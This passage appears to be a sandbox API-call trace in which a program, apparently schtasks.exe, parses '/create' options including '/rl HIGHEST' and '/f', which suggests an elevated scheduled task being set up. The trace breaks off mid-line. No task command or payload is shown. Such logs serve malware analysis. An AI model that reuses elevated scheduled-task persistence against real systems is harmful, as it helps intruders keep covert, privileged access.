[0159.965] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.965] lstrlenW (lpString="|i|") returned 3 [0159.965] lstrlenW (lpString="|rl|") returned 4 [0159.965] SetLastError (dwErrCode=0x490) [0159.965] lstrlenW (lpString="tn") returned 2 [0159.965] lstrlenW (lpString="tn") returned 2 [0159.965] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.965] lstrlenW (lpString="rl") returned 2 [0159.965] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.965] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.965] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.966] lstrlenW (lpString="|tn|") returned 4 [0159.966] lstrlenW (lpString="|rl|") returned 4 [0159.966] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0159.966] SetLastError (dwErrCode=0x490) [0159.966] lstrlenW (lpString="tr") returned 2 [0159.966] lstrlenW (lpString="tr") returned 2 [0159.966] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.966] lstrlenW (lpString="rl") returned 2 [0159.966] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.966] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.966] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.966] lstrlenW (lpString="|tr|") returned 4 [0159.966] lstrlenW (lpString="|rl|") returned 4 [0159.966] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0159.966] SetLastError (dwErrCode=0x490) [0159.966] lstrlenW (lpString="st") returned 2 [0159.966] lstrlenW (lpString="st") returned 2 [0159.966] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.966] lstrlenW (lpString="rl") returned 2 [0159.966] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.966] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|st|") returned 4 [0159.966] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.966] lstrlenW (lpString="|st|") returned 4 [0159.966] lstrlenW (lpString="|rl|") returned 4 [0159.967] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0159.967] SetLastError (dwErrCode=0x490) [0159.967] lstrlenW (lpString="sd") returned 2 [0159.967] lstrlenW (lpString="sd") returned 2 [0159.967] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.967] lstrlenW (lpString="rl") returned 2 [0159.967] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.967] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sd|") returned 4 [0159.967] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.967] lstrlenW (lpString="|sd|") returned 4 [0159.967] lstrlenW (lpString="|rl|") returned 4 [0159.967] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0159.967] SetLastError (dwErrCode=0x490) [0159.967] lstrlenW (lpString="ed") returned 2 [0159.967] lstrlenW (lpString="ed") returned 2 [0159.967] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.967] lstrlenW (lpString="rl") returned 2 [0159.967] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.967] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ed|") returned 4 [0159.967] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.967] lstrlenW (lpString="|ed|") returned 4 [0159.967] lstrlenW (lpString="|rl|") returned 4 [0159.967] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0159.967] SetLastError (dwErrCode=0x490) [0159.967] lstrlenW (lpString="it") returned 2 [0159.968] lstrlenW (lpString="it") returned 2 [0159.968] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.968] lstrlenW (lpString="rl") returned 2 [0159.968] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.968] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|it|") returned 4 [0159.968] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.968] lstrlenW (lpString="|it|") returned 4 [0159.968] lstrlenW (lpString="|rl|") returned 4 [0159.968] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0159.968] SetLastError (dwErrCode=0x490) [0159.968] lstrlenW (lpString="et") returned 2 [0159.968] lstrlenW (lpString="et") returned 2 [0159.968] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.968] lstrlenW (lpString="rl") returned 2 [0159.968] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.968] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|et|") returned 4 [0159.968] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.968] lstrlenW (lpString="|et|") returned 4 [0159.968] lstrlenW (lpString="|rl|") returned 4 [0159.968] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0159.968] SetLastError (dwErrCode=0x490) [0159.968] lstrlenW (lpString="k") returned 1 [0159.968] lstrlenW (lpString="k") returned 1 [0159.968] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.969] lstrlenW (lpString="rl") returned 2 [0159.969] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.969] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|k|") returned 3 [0159.969] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.969] lstrlenW (lpString="|k|") returned 3 [0159.969] lstrlenW (lpString="|rl|") returned 4 [0159.969] SetLastError (dwErrCode=0x490) [0159.969] lstrlenW (lpString="du") returned 2 [0159.969] lstrlenW (lpString="du") returned 2 [0159.969] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.969] lstrlenW (lpString="rl") returned 2 [0159.969] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.969] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|du|") returned 4 [0159.969] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.969] lstrlenW (lpString="|du|") returned 4 [0159.969] lstrlenW (lpString="|rl|") returned 4 [0159.969] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0159.969] SetLastError (dwErrCode=0x490) [0159.969] lstrlenW (lpString="ri") returned 2 [0159.969] lstrlenW (lpString="ri") returned 2 [0159.969] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.969] lstrlenW (lpString="rl") returned 2 [0159.969] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.970] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ri|") returned 4 [0159.970] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.970] lstrlenW (lpString="|ri|") returned 4 [0159.970] lstrlenW (lpString="|rl|") returned 4 [0159.970] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0159.970] SetLastError (dwErrCode=0x490) [0159.970] lstrlenW (lpString="z") returned 1 [0159.970] lstrlenW (lpString="z") returned 1 [0159.970] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.970] lstrlenW (lpString="rl") returned 2 [0159.970] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.970] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|z|") returned 3 [0159.970] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.970] lstrlenW (lpString="|z|") returned 3 [0159.970] lstrlenW (lpString="|rl|") returned 4 [0159.970] SetLastError (dwErrCode=0x490) [0159.970] lstrlenW (lpString="f") returned 1 [0159.970] lstrlenW (lpString="f") returned 1 [0159.970] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.970] lstrlenW (lpString="rl") returned 2 [0159.970] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.970] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.970] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.970] lstrlenW (lpString="|f|") returned 3 [0159.971] lstrlenW (lpString="|rl|") returned 4 [0159.971] SetLastError (dwErrCode=0x490) [0159.971] lstrlenW (lpString="v1") returned 2 [0159.971] lstrlenW (lpString="v1") returned 2 [0159.971] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.971] lstrlenW (lpString="rl") returned 2 [0159.971] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.971] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|v1|") returned 4 [0159.971] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.971] lstrlenW (lpString="|v1|") returned 4 [0159.971] lstrlenW (lpString="|rl|") returned 4 [0159.971] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0159.971] SetLastError (dwErrCode=0x490) [0159.971] lstrlenW (lpString="xml") returned 3 [0159.971] lstrlenW (lpString="xml") returned 3 [0159.971] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.971] lstrlenW (lpString="rl") returned 2 [0159.971] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.971] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|xml|") returned 5 [0159.971] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.971] lstrlenW (lpString="|xml|") returned 5 [0159.971] lstrlenW (lpString="|rl|") returned 4 [0159.971] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0159.971] SetLastError (dwErrCode=0x490) [0159.971] lstrlenW (lpString="ec") returned 2 [0159.972] lstrlenW (lpString="ec") returned 2 [0159.972] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.972] lstrlenW (lpString="rl") returned 2 [0159.972] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.972] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ec|") returned 4 [0159.972] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.972] lstrlenW (lpString="|ec|") returned 4 [0159.972] lstrlenW (lpString="|rl|") returned 4 [0159.972] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0159.972] SetLastError (dwErrCode=0x490) [0159.972] lstrlenW (lpString="rl") returned 2 [0159.972] lstrlenW (lpString="rl") returned 2 [0159.972] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.972] lstrlenW (lpString="rl") returned 2 [0159.972] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.972] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.972] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.972] lstrlenW (lpString="|rl|") returned 4 [0159.972] lstrlenW (lpString="|rl|") returned 4 [0159.972] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0159.972] SetLastError (dwErrCode=0x0) [0159.972] SetLastError (dwErrCode=0x0) [0159.972] lstrlenW (lpString="HIGHEST") returned 7 [0159.973] lstrlenW (lpString="-/") returned 2 [0159.973] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0159.973] SetLastError (dwErrCode=0x490) [0159.973] SetLastError (dwErrCode=0x490) [0159.973] SetLastError (dwErrCode=0x0) [0159.973] lstrlenW (lpString="HIGHEST") returned 7 [0159.973] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0159.973] SetLastError (dwErrCode=0x490) [0159.973] SetLastError (dwErrCode=0x0) [0159.973] _memicmp (_Buf1=0x24d490, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.973] lstrlenW (lpString="HIGHEST") returned 7 [0159.973] lstrlenW (lpString="HIGHEST") returned 7 [0159.973] lstrlenW (lpString=" \x09") returned 2 [0159.973] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0159.973] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0159.973] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0159.973] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0159.973] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0159.973] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0159.973] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0159.973] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0159.973] GetLastError () returned 0x0 [0159.973] lstrlenW (lpString="HIGHEST") returned 7 [0159.973] lstrlenW (lpString="HIGHEST") returned 7 [0159.973] SetLastError (dwErrCode=0x0) [0159.973] SetLastError (dwErrCode=0x0) [0159.973] lstrlenW (lpString="/f") returned 2 [0159.973] lstrlenW (lpString="-/") returned 2 [0159.974] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.974] lstrlenW (lpString="create") returned 6 [0159.974] lstrlenW (lpString="create") returned 6 [0159.974] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.974] lstrlenW (lpString="f") returned 1 [0159.974] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.974] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|create|") returned 8 [0159.974] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.974] lstrlenW (lpString="|create|") returned 8 [0159.974] lstrlenW (lpString="|f|") returned 3 [0159.974] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0159.974] SetLastError (dwErrCode=0x490) [0159.974] lstrlenW (lpString="?") returned 1 [0159.974] lstrlenW (lpString="?") returned 1 [0159.974] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.974] lstrlenW (lpString="f") returned 1 [0159.974] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.974] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|?|") returned 3 [0159.974] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.974] lstrlenW (lpString="|?|") returned 3 [0159.974] lstrlenW (lpString="|f|") returned 3 [0159.974] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0159.974] SetLastError (dwErrCode=0x490) [0159.974] lstrlenW (lpString="s") returned 1 [0159.975] lstrlenW (lpString="s") returned 1 [0159.975] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.975] lstrlenW (lpString="f") returned 1 [0159.975] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.975] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|s|") returned 3 [0159.975] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.975] lstrlenW (lpString="|s|") returned 3 [0159.975] lstrlenW (lpString="|f|") returned 3 [0159.975] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0159.975] SetLastError (dwErrCode=0x490) [0159.975] lstrlenW (lpString="u") returned 1 [0159.975] lstrlenW (lpString="u") returned 1 [0159.975] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.975] lstrlenW (lpString="f") returned 1 [0159.975] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.975] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|u|") returned 3 [0159.975] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.975] lstrlenW (lpString="|u|") returned 3 [0159.975] lstrlenW (lpString="|f|") returned 3 [0159.975] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0159.975] SetLastError (dwErrCode=0x490) [0159.975] lstrlenW (lpString="p") returned 1 [0159.975] lstrlenW (lpString="p") returned 1 [0159.975] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.975] lstrlenW (lpString="f") returned 1 [0159.976] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.976] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|p|") returned 3 [0159.976] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.976] lstrlenW (lpString="|p|") returned 3 [0159.976] lstrlenW (lpString="|f|") returned 3 [0159.976] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0159.976] SetLastError (dwErrCode=0x490) [0159.976] lstrlenW (lpString="ru") returned 2 [0159.976] lstrlenW (lpString="ru") returned 2 [0159.976] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.976] lstrlenW (lpString="f") returned 1 [0159.976] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.976] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ru|") returned 4 [0159.976] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.976] lstrlenW (lpString="|ru|") returned 4 [0159.976] lstrlenW (lpString="|f|") returned 3 [0159.976] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0159.976] SetLastError (dwErrCode=0x490) [0159.976] lstrlenW (lpString="rp") returned 2 [0159.976] lstrlenW (lpString="rp") returned 2 [0159.976] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.976] lstrlenW (lpString="f") returned 1 [0159.976] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.976] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rp|") returned 4 [0159.976] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.977] lstrlenW (lpString="|rp|") returned 4 [0159.977] lstrlenW (lpString="|f|") returned 3 [0159.977] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0159.977] SetLastError (dwErrCode=0x490) [0159.977] lstrlenW (lpString="sc") returned 2 [0159.977] lstrlenW (lpString="sc") returned 2 [0159.977] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.977] lstrlenW (lpString="f") returned 1 [0159.977] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.977] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.977] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.977] lstrlenW (lpString="|sc|") returned 4 [0159.977] lstrlenW (lpString="|f|") returned 3 [0159.977] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0159.977] SetLastError (dwErrCode=0x490) [0159.977] lstrlenW (lpString="mo") returned 2 [0159.977] lstrlenW (lpString="mo") returned 2 [0159.977] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.977] lstrlenW (lpString="f") returned 1 [0159.977] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.977] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|mo|") returned 4 [0159.977] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.977] lstrlenW (lpString="|mo|") returned 4 [0159.977] lstrlenW (lpString="|f|") returned 3 [0159.977] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0159.977] SetLastError (dwErrCode=0x490) [0159.978] lstrlenW (lpString="d") returned 1 [0159.978] lstrlenW (lpString="d") returned 1 [0159.978] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.978] lstrlenW (lpString="f") returned 1 [0159.978] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.978] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|d|") returned 3 [0159.978] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.978] lstrlenW (lpString="|d|") returned 3 [0159.978] lstrlenW (lpString="|f|") returned 3 [0159.978] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0159.978] SetLastError (dwErrCode=0x490) [0159.978] lstrlenW (lpString="m") returned 1 [0159.978] lstrlenW (lpString="m") returned 1 [0159.978] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.978] lstrlenW (lpString="f") returned 1 [0159.978] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.978] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|m|") returned 3 [0159.978] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.978] lstrlenW (lpString="|m|") returned 3 [0159.978] lstrlenW (lpString="|f|") returned 3 [0159.978] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0159.978] SetLastError (dwErrCode=0x490) [0159.978] lstrlenW (lpString="i") returned 1 [0159.978] lstrlenW (lpString="i") returned 1 [0159.978] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.979] lstrlenW (lpString="f") returned 1 [0159.979] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.979] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|i|") returned 3 [0159.979] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.979] lstrlenW (lpString="|i|") returned 3 [0159.979] lstrlenW (lpString="|f|") returned 3 [0159.979] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0159.979] SetLastError (dwErrCode=0x490) [0159.979] lstrlenW (lpString="tn") returned 2 [0159.979] lstrlenW (lpString="tn") returned 2 [0159.979] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.979] lstrlenW (lpString="f") returned 1 [0159.979] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.979] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.979] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.979] lstrlenW (lpString="|tn|") returned 4 [0159.979] lstrlenW (lpString="|f|") returned 3 [0159.979] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0159.979] SetLastError (dwErrCode=0x490) [0159.979] lstrlenW (lpString="tr") returned 2 [0159.979] lstrlenW (lpString="tr") returned 2 [0159.979] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.979] lstrlenW (lpString="f") returned 1 [0159.979] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.979] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.979] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.980] lstrlenW (lpString="|tr|") returned 4 [0159.980] lstrlenW (lpString="|f|") returned 3 [0159.980] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0159.980] SetLastError (dwErrCode=0x490) [0159.980] lstrlenW (lpString="st") returned 2 [0159.980] lstrlenW (lpString="st") returned 2 [0159.980] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.980] lstrlenW (lpString="f") returned 1 [0159.980] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, 